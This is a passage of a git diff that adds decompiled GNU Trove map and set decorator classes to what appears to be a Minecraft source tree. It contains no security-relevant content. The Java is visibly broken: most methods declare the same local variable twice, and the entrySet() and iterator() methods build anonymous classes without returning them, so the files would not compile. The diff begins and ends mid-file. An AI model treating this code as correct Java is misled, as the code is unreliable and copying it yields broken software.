+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Integer wrapValue(int k)
+  {
+    return Integer.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected int unwrapValue(Object value)
+  {
+    return ((Integer)value).intValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteIntMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteLongMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteLongMapDecorator.java
new file mode 100644
index 0000000..c198431
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteLongMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteLongIterator;
+import gnu.trove.map.TByteLongMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteLongMapDecorator
+  extends AbstractMap<Byte, Long>
+  implements Map<Byte, Long>, Externalizable, Cloneable
+{
+  protected TByteLongMap _map;
+  
+  public TByteLongMapDecorator() {}
+  
+  public TByteLongMapDecorator(TByteLongMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteLongMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Long put(Byte key, Long value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    long v;
+    long v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    long retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Long get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Long remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    long v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Long>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteLongMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Long>> iterator()
+      {
+        new Iterator() {
+          private final TByteLongIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Long> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Long v = wrapValue(it.value());
+            new Map.Entry() {
+              private Long val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Long getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Long setValue(Long value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Long> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Long>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteLongMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Long)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Long> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Long>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Long> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Long)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Long wrapValue(long k)
+  {
+    return Long.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected long unwrapValue(Object value)
+  {
+    return ((Long)value).longValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteLongMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteObjectMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteObjectMapDecorator.java
new file mode 100644
index 0000000..b26dd4d
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteObjectMapDecorator.java
@@ -0,0 +1,353 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteObjectIterator;
+import gnu.trove.map.TByteObjectMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteObjectMapDecorator<V>
+  extends AbstractMap<Byte, V>
+  implements Map<Byte, V>, Externalizable, Cloneable
+{
+  protected TByteObjectMap<V> _map;
+  
+  public TByteObjectMapDecorator() {}
+  
+  public TByteObjectMapDecorator(TByteObjectMap<V> map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteObjectMap<V> getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public V put(Byte key, V value)
+  {
+    byte k;
+    
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else {
+      k = unwrapKey(key);
+    }
+    return _map.put(k, value);
+  }
+  
+
+
+
+  public V get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey((Byte)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.get(k);
+  }
+  
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public V remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey((Byte)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Byte, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, V>> iterator()
+      {
+        new Iterator() {
+          private final TByteObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Byte, V> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(((Byte)key).byteValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends V> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Byte key)
+  {
+    return key.byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TByteObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteSetDecorator.java b/src/minecraft/gnu/trove/decorator/TByteSetDecorator.java
new file mode 100644
index 0000000..80de9c2
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteIterator;
+import gnu.trove.set.TByteSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteSetDecorator
+  extends AbstractSet<Byte>
+  implements Set<Byte>, Externalizable
+{
+  protected TByteSet _set;
+  
+  public TByteSetDecorator() {}
+  
+  public TByteSetDecorator(TByteSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TByteSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Byte value)
+  {
+    return (value != null) && (_set.add(value.byteValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Byte)) {
+          byte v = ((Byte)val).byteValue();
+          if (!_set.contains(v))
+          {
+
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Byte)) && (_set.remove(((Byte)value).byteValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Byte> iterator()
+  {
+    new Iterator() {
+      private final TByteIterator it = _set.iterator();
+      
+      public Byte next() {
+        return Byte.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TByteSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TByteShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TByteShortMapDecorator.java
new file mode 100644
index 0000000..6f56b8f
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TByteShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TByteShortIterator;
+import gnu.trove.map.TByteShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteShortMapDecorator
+  extends AbstractMap<Byte, Short>
+  implements Map<Byte, Short>, Externalizable, Cloneable
+{
+  protected TByteShortMap _map;
+  
+  public TByteShortMapDecorator() {}
+  
+  public TByteShortMapDecorator(TByteShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TByteShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Byte key, Short value)
+  {
+    byte k;
+    
+
+
+    byte k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    byte k;
+    
+
+
+    if (key != null) { byte k;
+      if ((key instanceof Byte)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Byte, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TByteShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Byte, Short>> iterator()
+      {
+        new Iterator() {
+          private final TByteShortIterator it = _map.iterator();
+          
+          public Map.Entry<Byte, Short> next() {
+            it.advance();
+            final Byte key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Byte getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Byte, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Byte key = (Byte)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Byte, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TByteShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Byte)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Byte, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Byte, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Byte, ? extends Short> e = (Map.Entry)it.next();
+      put((Byte)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapKey(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapKey(Object key)
+  {
+    return ((Byte)key).byteValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TByteShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharByteMapDecorator.java
new file mode 100644
index 0000000..e144330
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharByteIterator;
+import gnu.trove.map.TCharByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharByteMapDecorator
+  extends AbstractMap<Character, Byte>
+  implements Map<Character, Byte>, Externalizable, Cloneable
+{
+  protected TCharByteMap _map;
+  
+  public TCharByteMapDecorator() {}
+  
+  public TCharByteMapDecorator(TCharByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Character key, Byte value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Character, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TCharByteIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Byte> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Byte> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharCharMapDecorator.java
new file mode 100644
index 0000000..5f13d44
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharCharIterator;
+import gnu.trove.map.TCharCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharCharMapDecorator
+  extends AbstractMap<Character, Character>
+  implements Map<Character, Character>, Externalizable, Cloneable
+{
+  protected TCharCharMap _map;
+  
+  public TCharCharMapDecorator() {}
+  
+  public TCharCharMapDecorator(TCharCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Character key, Character value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
